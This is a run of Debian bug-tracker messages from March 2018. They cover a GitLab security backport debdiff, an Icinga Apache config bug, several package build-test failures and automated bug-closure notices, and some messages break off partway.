Selecting previously unselected package ruby-mustermann19.
Preparing to unpack .../ruby-mustermann19_0.4.3+git20160621-1_all.deb ...
Unpacking ruby-mustermann19 (0.4.3+git20160621-1) ...
dpkg: error processing archive 
/var/cache/apt/archives/ruby-mustermann19_0.4.3+git20160621-1_all.deb 
(--unpack):
 trying to overwrite '/usr/lib/ruby/vendor_ruby/mustermann/ast/boundaries.rb', 
which is also in package ruby-mustermann 1.0.0-2
Processing triggers for libc-bin (2.24-12) ...
Processing triggers 

Bug#888508: gitlab: multiple CVEs from GitLab Security Release: 10.3.4, 10.2.6, and 10.1.6 advisory

[Pirate Praveen]

On ശനി 10 മാർച്ച് 2018 11:25 വൈകു, Pirate Praveen wrote:
> I will attach a debdiff tomorrow with the CVEs we already backported.

debdiff attached.

diff -Nru gitlab-8.13.11+dfsg/debian/changelog 
gitlab-8.13.11+dfsg/debian/changelog
--- gitlab-8.13.11+dfsg/debian/changelog2017-03-23 17:16:50.0 
+0530
+++ gitlab-8.13.11+dfsg/debian/changelog2018-03-11 20:13:17.0 
+0530
@@ -1,3 +1,10 @@
+gitlab (8.13.11+dfsg-8+deb9u1) stretch-security; urgency=high
+
+  * Fixes multiple security vulnerabilities (backported from 10.3.4 release)
+CVE-2017-0916, CVE-2017-0918, CVE-2017-0925, CVE-2017-0926, CVE-2017-3710
+
+ -- Pirate Praveen   Sun, 11 Mar 2018 20:13:17 +0530
+
 gitlab (8.13.11+dfsg-8) unstable; urgency=medium
 
   * Don't fail if gitlab-debian.defaults not found (to support upgrading
diff -Nru gitlab-8.13.11+dfsg/debian/patches/cve-2017-0916.patch 
gitlab-8.13.11+dfsg/debian/patches/cve-2017-0916.patch
--- gitlab-8.13.11+dfsg/debian/patches/cve-2017-0916.patch  1970-01-01 
05:30:00.0 +0530
+++ gitlab-8.13.11+dfsg/debian/patches/cve-2017-0916.patch  2018-03-11 
20:07:30.0 +0530
@@ -0,0 +1,32 @@
+--- a/app/models/hooks/web_hook.rb
 b/app/models/hooks/web_hook.rb
+@@ -19,6 +19,7 @@
+   default_timeout Gitlab.config.gitlab.webhook_timeout
+ 
+   validates :url, presence: true, url: true
++  validates :token, format: { without: /\n/ }
+ 
+   def execute(data, hook_name)
+ parsed_url = URI.parse(url)
+@@ -57,7 +58,7 @@
+   'Content-Type' => 'application/json',
+   'X-Gitlab-Event' => hook_name.singularize.titleize
+ }
+-headers['X-Gitlab-Token'] = token if token.present?
++headers['X-Gitlab-Token'] = Gitlab::Utils.remove_line_breaks(token) if 
token.present?
+ headers
+   end
+ end
+--- a/lib/gitlab/utils.rb
 b/lib/gitlab/utils.rb
+@@ -14,6 +14,10 @@
+   str.force_encoding(Encoding::UTF_8)
+ end
+ 
++def remove_line_breaks(str)
++  str.gsub(/\r?\n/, '')
++end
++
+ def to_boolean(value)
+   return value if [true, false].include?(value)
+   return true if value =~ /^(true|t|yes|y|1|on)$/i
diff -Nru gitlab-8.13.11+dfsg/debian/patches/cve-2017-0918.patch 
gitlab-8.13.11+dfsg/debian/patches/cve-2017-0918.patch
--- gitlab-8.13.11+dfsg/debian/patches/cve-2017-0918.patch  1970-01-01 
05:30:00.0 +0530
+++ gitlab-8.13.11+dfsg/debian/patches/cve-2017-0918.patch  2018-03-11 
20:07:30.0 +0530
@@ -0,0 +1,28 @@
+--- a/lib/gitlab/ci/config/node/validators.rb
 b/lib/gitlab/ci/config/node/validators.rb
+@@ -48,10 +48,24 @@
+ include LegacyValidationHelpers
+ 
+ def validate_each(record, attribute, value)
+-  unless validate_string(value)
++  if validate_string(value)
++validate_path(record, attribute, value)
++  else
+ record.errors.add(attribute, 'should be a string or symbol')
+   end
+ end
++
++private
++
++def validate_path(record, attribute, value)
++  path = CGI.unescape(value.to_s)
++
++  if path.include?('/')
++record.errors.add(attribute, 'cannot contain the "/" 
character')
++  elsif path == '.' || path == '..'
++record.errors.add(attribute, 'cannot be "." or ".."')
++  end
++end
+   end
+ 
+   class TypeValidator < ActiveModel::EachValidator
diff -Nru gitlab-8.13.11+dfsg/debian/patches/cve-2017-0925.patch 
gitlab-8.13.11+dfsg/debian/patches/cve-2017-0925.patch
--- gitlab-8.13.11+dfsg/debian/patches/cve-2017-0925.patch  1970-01-01 
05:30:00.0 +0530
+++ gitlab-8.13.11+dfsg/debian/patches/cve-2017-0925.patch  2018-03-11 
20:07:30.0 +0530
@@ -0,0 +1,39 @@
+--- a/app/models/service.rb
 b/app/models/service.rb
+@@ -98,6 +98,11 @@
+ nil
+   end
+ 
++  def api_field_names
++fields.map { |field| field[:name] }
++  .reject { |field_name| field_name =~ /(password|token|key)/ }
++  end
++
+   def global_fields
+ fields
+   end
+--- a/lib/api/entities.rb
 b/lib/api/entities.rb
+@@ -411,10 +411,7 @@
+   expose :tag_push_events, :note_events, :build_events, :pipeline_events
+   # Expose serialized properties
+   expose :properties do |service, options|
+-field_names = service.fields.
+-  select { |field| options[:include_passwords] || field[:type] != 
'password' }.
+-  map { |field| field[:name] }
+-service.properties.slice(*field_names)
++service.properties.slice(*service.api_field_names)
+   end
+ end
+ 
+--- a/lib/api/services.rb
 b/lib/api/services.rb
+@@ -56,7 +56,7 @@
+   #   GET /project/:id/services/gitlab-ci
+   #
+   get ':id/services/:service_slug' do
+-present project_service, with: Entities::ProjectService, 
include_passwords: current_user.is_admin?
++present 

Bug#892628: icinga-web: Ships Apache 2.2 config

[Axel Beckert]

Package: icinga-web
Severity: grave
Version: 1.13.4-2
Control: found -1 1.11.6-1

Hi,

at the Debian booth at Chemnitzer Linux-Tage a user of icinga-cgi
(X-Debbugs-Cc'ed) showed up who had issues with replacing Nagios with
Icinga 1 on Jessie, because icinga-cgi in Jessie still ships and
installs an Apache 2.2 configuration incompatible with Apache 2.4 in
Debian Jessie. He said that installing icinga-cgi breaks the existing
Apache configuration because of that and Apache refuses to start up
anymore until you fix the config syntax.

This makes icinga-cgi breaking an unrelated package (apache2 and
friends do not depend on icinga-web), hence RC-severity.

I just checked icinga-cgi in unstable and testing, and the config
shipped in there still has Apache 2.2 syntax:

---snip---
# apache configuration for icinga

ScriptAlias /cgi-bin/icinga /usr/lib/cgi-bin/icinga

# Where the stylesheets (config files) reside
Alias /icinga/stylesheets /etc/icinga/stylesheets

# Where the HTML pages live
Alias /icinga /usr/share/icinga/htdocs


Options FollowSymLinks

DirectoryIndex index.html

AllowOverride AuthConfig
Order Allow,Deny<- Apache 2.2
Allow From All  <- Apache 2.2

AuthName "Icinga Access"
AuthType Basic
AuthUserFile /etc/icinga/htpasswd.users
Require valid-user



Options FollowSymLinks MultiViews

---snap---

One possible short-term solution, at least for Jessie, would be to not
only enable mod_cgi in postinst, but also mod_access_compat.

Alternatively (and not that more complicated) the config file shipped
needs to be patched for Apache 2.4 syntax.

-- System Information:
Debian Release: buster/sid
  APT prefers unstable
  APT policy: (990, 'unstable'), (980, 'unstable-debug'), (600, 'testing'), 
(111, 'buildd-unstable'), (111, 'buildd-experimental'), (110, 'experimental'), 
(105, 'experimental-debug')
Architecture: amd64 (x86_64)

Kernel: Linux 4.14.0-3-amd64 (SMP w/4 CPU cores)
Locale: LANG=C.UTF-8, LC_CTYPE=C.UTF-8 (charmap=UTF-8), LANGUAGE=C.UTF-8 
(charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Processed: icinga-web: Ships Apache 2.2 config

[Debian Bug Tracking System]

Processing control commands:

> found -1 1.11.6-1
Bug #892628 [icinga-web] icinga-web: Ships Apache 2.2 config
There is no source info for the package 'icinga-web' at version '1.11.6-1' with 
architecture ''
Unable to make a source version for version '1.11.6-1'
Marked as found in versions 1.11.6-1.

-- 
892628: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=892628
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#892324: Bug #892324 in ruby-buff-config marked as pending

[375gnu]

Control: tag -1 pending

Hello,

Bug #892324 in ruby-buff-config reported by you has been fixed in the
Git repository and is awaiting an upload. You can see the commit
message below, and you can check the diff of the fix at:

https://salsa.debian.org/ruby-team/ruby-buff-config/commit/6302904bf12285fca192f0126eb80025a76b8b38


Support newer hashie gem (Closes: #892324)



(this message was generated automatically)
-- 
Greetings

https://bugs.debian.org/892324

Processed: Bug #892324 in ruby-buff-config marked as pending

[Debian Bug Tracking System]

Processing control commands:

> tag -1 pending
Bug #892324 [src:ruby-buff-config] ruby-buff-config: FTBFS and Debci failure 
with ruby-hashie 3.5.5-2
Ignoring request to alter tags of bug #892324 to the same tags previously set

-- 
892324: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=892324
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Processed: pending

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> tags 892324 + pending
Bug #892324 [src:ruby-buff-config] ruby-buff-config: FTBFS and Debci failure 
with ruby-hashie 3.5.5-2
Added tag(s) pending.
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
892324: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=892324
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Processed: fixed 890850 in 3.4.0-4

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> fixed 890850 3.4.0-4
Bug #890850 [src:ruby-redcarpet] ruby-redcarpet FTBFS on 32bit: test failures 
with ruby 2.3
Marked as fixed in versions ruby-redcarpet/3.4.0-4.
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
890850: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=890850
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Processed: Proper bug title

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> retitle 892625 python-raven FTBFS: TypeError: _log() got an unexpected 
> keyword argument 'blah'
Bug #892625 [src:python-raven] python-raven FTBFS:
Changed Bug title to 'python-raven FTBFS: TypeError: _log() got an unexpected 
keyword argument 'blah'' from 'python-raven FTBFS:'.
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
892625: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=892625
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#892625: python-raven FTBFS:

[Adrian Bunk]

Source: python-raven
Version: 6.3.0-2
Severity: serious

Some recent change in unstable makes python-raven FTBFS:

https://tests.reproducible-builds.org/debian/history/python-raven.html
https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/python-raven.html

...
=== FAILURES ===
_ BreadcrumbTestCase.test_log_crumb_reporting __
Traceback (most recent call last):
  File 
"/build/1st/python-raven-6.3.0/.pybuild/pythonX.Y_2.7/build/tests/breadcrumbs/tests.py",
 line 28, in test_log_crumb_reporting
log.info('This is a message with %s!', 'foo', blah='baz')
  File "/usr/lib/python2.7/logging/__init__.py", line 1166, in info
Log 'msg % args' with severity 'INFO'.
  File "/usr/lib/python2.7/logging/__init__.py", line 1174, in info
self._log(INFO, msg, args, **kwargs)
TypeError: _log() got an unexpected keyword argument 'blah'
-- Captured log call ---
base.py268 DEBUGConfiguring Raven for host: 

=== warnings summary ===
.pybuild/pythonX.Y_2.7/build/tests/base/tests.py::ClientTest::test_client_picks_up_env_dsn
  /build/1st/python-raven-6.3.0/raven/conf/remote.py:88: UserWarning: Transport 
selection via DSN is deprecated. You should explicitly pass the transport class 
to Client() instead.
warnings.warn('Transport selection via DSN is deprecated. You should 
explicitly pass the transport class to Client() instead.')

-- Docs: http://doc.pytest.org/en/latest/warnings.html
= 1 failed, 212 passed, 3 skipped, 1 warnings in 7.64 seconds ==
E: pybuild pybuild:283: test: plugin distutils failed with: exit code=1: cd 
/build/1st/python-raven-6.3.0/.pybuild/pythonX.Y_2.7/build; python2.7 -m pytest 
--ignore=tests/contrib/flask --ignore=tests/contrib/django 
--ignore=tests/contrib/tornado --ignore=tests/versioning/tests.py
dh_auto_test: pybuild --test --test-pytest -i python{version} -p 2.7 returned 
exit code 13
make: *** [debian/rules:15: build] Error 25

Bug#892620: pytest-bdd FTBFS with pytest 3.3.2-2

[Adrian Bunk]

Source: pytest-bdd
Version: 2.18.2-1
Severity: serious
Tags: fixed-upstream
Forwarded: https://github.com/pytest-dev/pytest-bdd/pull/232

https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/pytest-bdd.html

...
== 25 failed, 125 passed, 2 warnings in 55.41 seconds ==
E: pybuild pybuild:283: test: plugin custom failed with: exit code=1: python2.7 
-m pytest
dh_auto_test: pybuild --test --test-pytest -i python{version} -p 2.7 
--system=custom "--test-args={interpreter} -m pytest" returned exit code 13
make[1]: *** [debian/rules:10: override_dh_auto_test] Error 25

Bug#889536: marked as done (libaddressview0: Missing dependencies)

[Debian Bug Tracking System]

Your message dated Sun, 11 Mar 2018 12:05:13 +
with message-id 
and subject line Bug#889536: fixed in addresses-for-gnustep 0.4.8-3
has caused the Debian Bug report #889536,
regarding libaddressview0: Missing dependencies
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
889536: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=889536
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Package: libaddressview0
Version: 0.4.8-2+b2
Severity: serious
Justification: Policy 10.2

$ ldd -r /usr/lib/libAddressView.so.0
linux-gate.so.1 (0xb773a000)
libpthread.so.0 => /lib/i386-linux-gnu/libpthread.so.0 (0xb76d5000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb751d000)
/lib/ld-linux.so.2 (0xb773c000)
undefined symbol: ADEmailProperty   (/usr/lib/libAddressView.so.0)
undefined symbol: NSViewFrameDidChangeNotification  
(/usr/lib/libAddressView.so.0)
undefined symbol: NSCalibratedRGBColorSpace (/usr/lib/libAddressView.so.0)
undefined symbol: NSFontAttributeName   (/usr/lib/libAddressView.so.0)
undefined symbol: NSTIFFPboardType  (/usr/lib/libAddressView.so.0)
undefined symbol: ADOrganizationProperty(/usr/lib/libAddressView.so.0)
undefined symbol: ADAddressCountryCodeKey   (/usr/lib/libAddressView.so.0)
undefined symbol: NSStringPboardType(/usr/lib/libAddressView.so.0)
undefined symbol: ADImageProperty   (/usr/lib/libAddressView.so.0)
undefined symbol: ADAddressProperty (/usr/lib/libAddressView.so.0)
undefined symbol: ADNoteProperty(/usr/lib/libAddressView.so.0)
undefined symbol: ADJobTitleProperty(/usr/lib/libAddressView.so.0)
undefined symbol: NSGenericException(/usr/lib/libAddressView.so.0)
undefined symbol: ADHomePageProperty(/usr/lib/libAddressView.so.0)
undefined symbol: NSDragPboard  (/usr/lib/libAddressView.so.0)
undefined symbol: ADBirthdayProperty(/usr/lib/libAddressView.so.0)
undefined symbol: ADAddressCountryKey   (/usr/lib/libAddressView.so.0)
undefined symbol: ADLastNameProperty(/usr/lib/libAddressView.so.0)
undefined symbol: NSFilenamesPboardType (/usr/lib/libAddressView.so.0)
undefined symbol: ADGroupNameProperty   (/usr/lib/libAddressView.so.0)
undefined symbol: ADFirstNameProperty   (/usr/lib/libAddressView.so.0)
undefined symbol: ADAIMInstantProperty  (/usr/lib/libAddressView.so.0)
undefined symbol: NSShortDateFormatString   (/usr/lib/libAddressView.so.0)
undefined symbol: ADPhoneProperty   (/usr/lib/libAddressView.so.0)
undefined symbol: ADDatabaseChangedExternallyNotification   
(/usr/lib/libAddressView.so.0)
undefined symbol: __objc_class_name_NSObject(/usr/lib/libAddressView.so.0)
undefined symbol: __objc_class_name_NSConstantString
(/usr/lib/libAddressView.so.0)
undefined symbol: __objc_class_name_Protocol(/usr/lib/libAddressView.so.0)
undefined symbol: __objc_class_name_NSMutableArray  
(/usr/lib/libAddressView.so.0)
undefined symbol: __objc_class_name_ADConverterManager  
(/usr/lib/libAddressView.so.0)
undefined symbol: __objc_class_name_NSView  (/usr/lib/libAddressView.so.0)
undefined symbol: __objc_class_name_NSProcessInfo   
(/usr/lib/libAddressView.so.0)
undefined symbol: __objc_class_name_NSMutableDictionary 
(/usr/lib/libAddressView.so.0)
undefined symbol: __objc_class_name_NSPasteboard
(/usr/lib/libAddressView.so.0)
undefined symbol: __objc_class_name_ADMutableMultiValue 
(/usr/lib/libAddressView.so.0)
undefined symbol: __objc_class_name_ADPerson(/usr/lib/libAddressView.so.0)
undefined symbol: __objc_class_name_NSOpenPanel (/usr/lib/libAddressView.so.0)
undefined symbol: __objc_class_name_NSBezierPath
(/usr/lib/libAddressView.so.0)
undefined symbol: __objc_class_name_NSMutableAttributedString   
(/usr/lib/libAddressView.so.0)
undefined symbol: __objc_class_name_NSAttributedString  
(/usr/lib/libAddressView.so.0)
undefined symbol: __objc_class_name_NSColor (/usr/lib/libAddressView.so.0)
undefined symbol: __objc_class_name_NSTextView  (/usr/lib/libAddressView.so.0)
undefined symbol: __objc_class_name_NSTextField (/usr/lib/libAddressView.so.0)
undefined symbol: __objc_class_name_NSArray (/usr/lib/libAddressView.so.0)
undefined symbol: __objc_class_name_NSNotificationCenter
(/usr/lib/libAddressView.so.0)
undefined symbol: __objc_class_name_NSFont  (/usr/lib/libAddressView.so.0)
undefined symbol: __objc_class_name_NSImage (/usr/lib/libAddressView.so.0)
undefined symbol: __objc_class_name_NSAssertionHandler  
(/usr/lib/libAddressView.so.0)
undefined symbol: 

Bug#889534: marked as done (libaddresses0: Missing dependencies)

[Debian Bug Tracking System]

Your message dated Sun, 11 Mar 2018 12:05:13 +
with message-id 
and subject line Bug#889534: fixed in addresses-for-gnustep 0.4.8-3
has caused the Debian Bug report #889534,
regarding libaddresses0: Missing dependencies
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
889534: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=889534
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Package: libaddresses0
Version: 0.4.8-2+b2
Severity: serious
Justification: Policy 10.2

$ ldd -r /usr/lib/libAddresses.so.0
linux-gate.so.1 (0xb77cc000)
libgcc_s.so.1 => /lib/i386-linux-gnu/libgcc_s.so.1 (0xb7765000)
libpthread.so.0 => /lib/i386-linux-gnu/libpthread.so.0 (0xb7748000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb759)
/lib/ld-linux.so.2 (0xb77ce000)
undefined symbol: NSGenericException(/usr/lib/libAddresses.so.0)
undefined symbol: __objc_class_name_NSObject(/usr/lib/libAddresses.so.0)
undefined symbol: __objc_class_name_NSConstantString
(/usr/lib/libAddresses.so.0)
undefined symbol: __objc_class_name_NSDictionary
(/usr/lib/libAddresses.so.0)
undefined symbol: __objc_class_name_NSArray (/usr/lib/libAddresses.so.0)
undefined symbol: __objc_class_name_NSMutableArray  
(/usr/lib/libAddresses.so.0)
undefined symbol: __objc_class_name_NSString(/usr/lib/libAddresses.so.0)
undefined symbol: __objc_class_name_NSData  (/usr/lib/libAddresses.so.0)
undefined symbol: __objc_class_name_NSMutableDictionary 
(/usr/lib/libAddresses.so.0)
undefined symbol: __objc_class_name_NSException (/usr/lib/libAddresses.so.0)
undefined symbol: __objc_class_name_NSAssertionHandler  
(/usr/lib/libAddresses.so.0)
undefined symbol: __objc_class_name_NSConnection
(/usr/lib/libAddresses.so.0)
undefined symbol: __objc_class_name_NSUserDefaults  
(/usr/lib/libAddresses.so.0)
undefined symbol: __objc_class_name_NSBundle(/usr/lib/libAddresses.so.0)
undefined symbol: __objc_class_name_NSNumber(/usr/lib/libAddresses.so.0)
undefined symbol: __objc_class_name_NSCharacterSet  
(/usr/lib/libAddresses.so.0)
undefined symbol: __objc_class_name_NSDistributedNotificationCenter 
(/usr/lib/libAddresses.so.0)
undefined symbol: __objc_class_name_NSProcessInfo   
(/usr/lib/libAddresses.so.0)
undefined symbol: __objc_class_name_NSNotificationCenter
(/usr/lib/libAddresses.so.0)
undefined symbol: __objc_class_name_NSFileManager   
(/usr/lib/libAddresses.so.0)
undefined symbol: __objc_class_name_Protocol(/usr/lib/libAddresses.so.0)
undefined symbol: __objc_class_name_NSMutableData   
(/usr/lib/libAddresses.so.0)
undefined symbol: __objc_class_name_NSValue (/usr/lib/libAddresses.so.0)
undefined symbol: __objc_class_name_NSDate  (/usr/lib/libAddresses.so.0)
undefined symbol: __objc_class_name_NSCalendarDate  
(/usr/lib/libAddresses.so.0)
undefined symbol: __objc_class_name_GSMimeDocument  
(/usr/lib/libAddresses.so.0)
undefined symbol: __objc_class_name_NSMutableString 
(/usr/lib/libAddresses.so.0)
undefined symbol: __gnu_objc_personality_v0 (/usr/lib/libAddresses.so.0)
undefined symbol: NSSearchPathForDirectoriesInDomains   
(/usr/lib/libAddresses.so.0)
undefined symbol: _NSRangeExceptionRaise(/usr/lib/libAddresses.so.0)
undefined symbol: objc_get_class(/usr/lib/libAddresses.so.0)
undefined symbol: objc_msg_lookup_super (/usr/lib/libAddresses.so.0)
undefined symbol: NSLog (/usr/lib/libAddresses.so.0)
undefined symbol: NSCopyObject  (/usr/lib/libAddresses.so.0)
undefined symbol: NSStringFromSelector  (/usr/lib/libAddresses.so.0)
undefined symbol: NSTemporaryDirectory  (/usr/lib/libAddresses.so.0)
undefined symbol: objc_msg_lookup   (/usr/lib/libAddresses.so.0)
undefined symbol: __objc_exec_class (/usr/lib/libAddresses.so.0)

-- System Information:
Debian Release: 9.3
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'stable-debug'), (500, 'stable')
Architecture: i386 (i686)

Kernel: Linux 4.9.0-5-686-pae (SMP w/1 CPU core)
Locale: LANG=bg_BG.UTF-8, LC_CTYPE=bg_BG.UTF-8 (charmap=UTF-8), 
LANGUAGE=bg_BG.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages libaddresses0 depends on:
ii  libc62.24-11+deb9u1
ii  libgcc1  1:6.3.0-18

libaddresses0 recommends no packages.

libaddresses0 suggests no packages.

-- no debconf information
--- End Message ---
--- Begin Message ---
Source: addresses-for-gnustep
Source-Version: 0.4.8-3

We believe that the 

Bug#890693: marked as done (ruby-toml FTBFS with ruby 2.5)

[Debian Bug Tracking System]

Your message dated Sun, 11 Mar 2018 12:06:05 +
with message-id 
and subject line Bug#890693: fixed in ruby-toml 0.2.0-3
has caused the Debian Bug report #890693,
regarding ruby-toml FTBFS with ruby 2.5
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
890693: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=890693
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: ruby-toml
Version: 0.2.0-1
Severity: serious

https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/ruby-toml.html

...
┌──┐
│ Run tests for ruby2.5 from debian/ruby-test-files.yaml   │
└──┘

RUBYLIB=/build/1st/ruby-toml-0.2.0/debian/ruby-toml/usr/lib/ruby/vendor_ruby:. 
GEM_PATH=debian/ruby-toml/usr/share/rubygems-integration/all:/var/lib/gems/2.5.0:/usr/lib/x86_64-linux-gnu/rubygems-integration/2.5.0:/usr/share/rubygems-integration/2.5.0:/usr/share/rubygems-integration/all
 ruby2.5 -ryaml -e YAML.load_file\(\"debian/ruby-test-files.yaml\"\).each\ \{\ 
\|f\|\ require\ f\ \}
Run options: --seed 58556

# Running:

F..

Finished in 0.967573s, 27.9049 runs/s, 31.0054 assertions/s.

  1) Failure:
TestGenerator#test_generator 
[/build/1st/ruby-toml-0.2.0/test/test_generator.rb:55]:
Expected: "2019-03-21 08:41:01 -1200"
  Actual: "2019-03-21 20:41:01 +"

27 runs, 30 assertions, 1 failures, 0 errors, 0 skips
ERROR: Test "ruby2.5" failed. Exiting.
dh_auto_install: dh_ruby --install /build/1st/ruby-toml-0.2.0/debian/ruby-toml 
returned exit code 1
make: *** [debian/rules:15: binary] Error 1
--- End Message ---
--- Begin Message ---
Source: ruby-toml
Source-Version: 0.2.0-3

We believe that the bug you reported is fixed in the latest version of
ruby-toml, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 890...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
HIGUCHI Daisuke (VDR dai)  (supplier of updated ruby-toml 
package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

Format: 1.8
Date: Sun, 11 Mar 2018 20:46:55 +0900
Source: ruby-toml
Binary: ruby-toml
Architecture: source all
Version: 0.2.0-3
Distribution: unstable
Urgency: medium
Maintainer: Debian Ruby Extras Maintainers 

Changed-By: HIGUCHI Daisuke (VDR dai) 
Description:
 ruby-toml  - TOML Parser library for Ruby
Closes: 890693
Changes:
 ruby-toml (0.2.0-3) unstable; urgency=medium
 .
   * Team upload.
 .
   [ HIGUCHI Daisuke (VDR dai) ]
   * d/p/0003-Use-UTC-for-TimeZone.patch: use UTC for TimeZone (Closes: #890693)
Checksums-Sha1:
 2936de9fb6e3d3860e57f3555c88e3c34f9e7dc4 2156 ruby-toml_0.2.0-3.dsc
 d87eb1f695b739771e7e51973293b10739f19b42 4228 ruby-toml_0.2.0-3.debian.tar.xz
 06372cab097db51495a7b9ae032529373619b26f 9064 ruby-toml_0.2.0-3_all.deb
 fedafa11655a838b4404bd1f42bfa05a42725139 6689 ruby-toml_0.2.0-3_amd64.buildinfo
Checksums-Sha256:
 0371ae04182e4cc07852b524972440fe7370abcd303a685e5fd40a50a20c4e3e 2156 
ruby-toml_0.2.0-3.dsc
 196740b7dc9f7b53f220f551c5c28993ac35349f030d28851cad7c7d49d99efe 4228 
ruby-toml_0.2.0-3.debian.tar.xz
 1652db955d86f1c85e9fec5cb92915a871ad1a26dd5c440a46976c1e7bb5ef60 9064 
ruby-toml_0.2.0-3_all.deb
 66429245fc3de8e49b4e0167765141f97886359052ce3721926d428e3bf1234c 6689 
ruby-toml_0.2.0-3_amd64.buildinfo
Files:
 fc3c527d81a2b55214a90df2f04e5536 2156 ruby optional ruby-toml_0.2.0-3.dsc
 b0b336ac113e1f26a94fb51217d1f213 4228 ruby optional 
ruby-toml_0.2.0-3.debian.tar.xz
 b6f55efe4317068cdfa2451421c7f344 9064 ruby optional ruby-toml_0.2.0-3_all.deb
 4672e66d7e33ec97b90997ba5da4cde7 6689 ruby optional 
ruby-toml_0.2.0-3_amd64.buildinfo

-BEGIN PGP SIGNATURE-

iQIzBAEBCAAdFiEECynYjkLmt2W42OpQeDlhndQ5Zo4FAlqlGIcACgkQeDlhndQ5
Zo7u3hAA1Gv1cfx6mzjaPezsCfaZWAEjtc+w07e8yrLIYg3/LlkcHvnYbxqO9FbG
J1kVZF4DFYqLLQRace57oWt384gEEjgzuOiOONxqDUvTYHdQgyixKkWd8vlIWXF8
YryUO3cpcpS/UmsH+n27o3DBkXyButnhRtaMPwq6pSCk1OnfLr98gYJ1fqB52XEr

Bug#890693: Bug #890693 in ruby-toml marked as pending

[dai]

Control: tag -1 pending

Hello,

Bug #890693 in ruby-toml reported by you has been fixed in the
Git repository and is awaiting an upload. You can see the commit
message below, and you can check the diff of the fix at:

https://salsa.debian.org/ruby-team/ruby-toml/commit/152f5b0f2bf9fcd83bf461d77ef96c649b8db49f


use UTC for TimeZone (Closes: #890693)



(this message was generated automatically)
-- 
Greetings

https://bugs.debian.org/890693

Bug#892616: python-llfuse FTBFS with pytest 3.3.2-2

[Adrian Bunk]

Source: python-llfuse
Version: 1.3.2+dfsg-2
Severity: serious
Tags: fixed-upstream

https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/python-llfuse.html

...
   dh_auto_test -O--buildsystem=pybuild
pybuild --test -i python{version} -p 2.7
I: pybuild base:184: cd 
/build/1st/python-llfuse-1.3.2+dfsg/.pybuild/pythonX.Y_2.7/build; python2.7 -m 
pytest --installed "/build/1st/python-llfuse-1.3.2+dfsg/test/"
INTERNALERROR> Traceback (most recent call last):
INTERNALERROR>   File "/usr/lib/python2.7/dist-packages/_pytest/main.py", line 
101, in wrap_session
INTERNALERROR> config._do_configure()
INTERNALERROR>   File "/usr/lib/python2.7/dist-packages/_pytest/config.py", 
line 921, in _do_configure
INTERNALERROR> 
self.hook.pytest_configure.call_historic(kwargs=dict(config=self))
INTERNALERROR>   File "/usr/lib/python2.7/dist-packages/pluggy/__init__.py", 
line 628, in call_historic
INTERNALERROR> res = self._hookexec(self, self._nonwrappers + 
self._wrappers, kwargs)
INTERNALERROR>   File "/usr/lib/python2.7/dist-packages/pluggy/__init__.py", 
line 222, in _hookexec
INTERNALERROR> return self._inner_hookexec(hook, methods, kwargs)
INTERNALERROR>   File "/usr/lib/python2.7/dist-packages/pluggy/__init__.py", 
line 216, in 
INTERNALERROR> firstresult=hook.spec_opts.get('firstresult'),
INTERNALERROR>   File "/usr/lib/python2.7/dist-packages/pluggy/callers.py", 
line 201, in _multicall
INTERNALERROR> return outcome.get_result()
INTERNALERROR>   File "/usr/lib/python2.7/dist-packages/pluggy/callers.py", 
line 77, in get_result
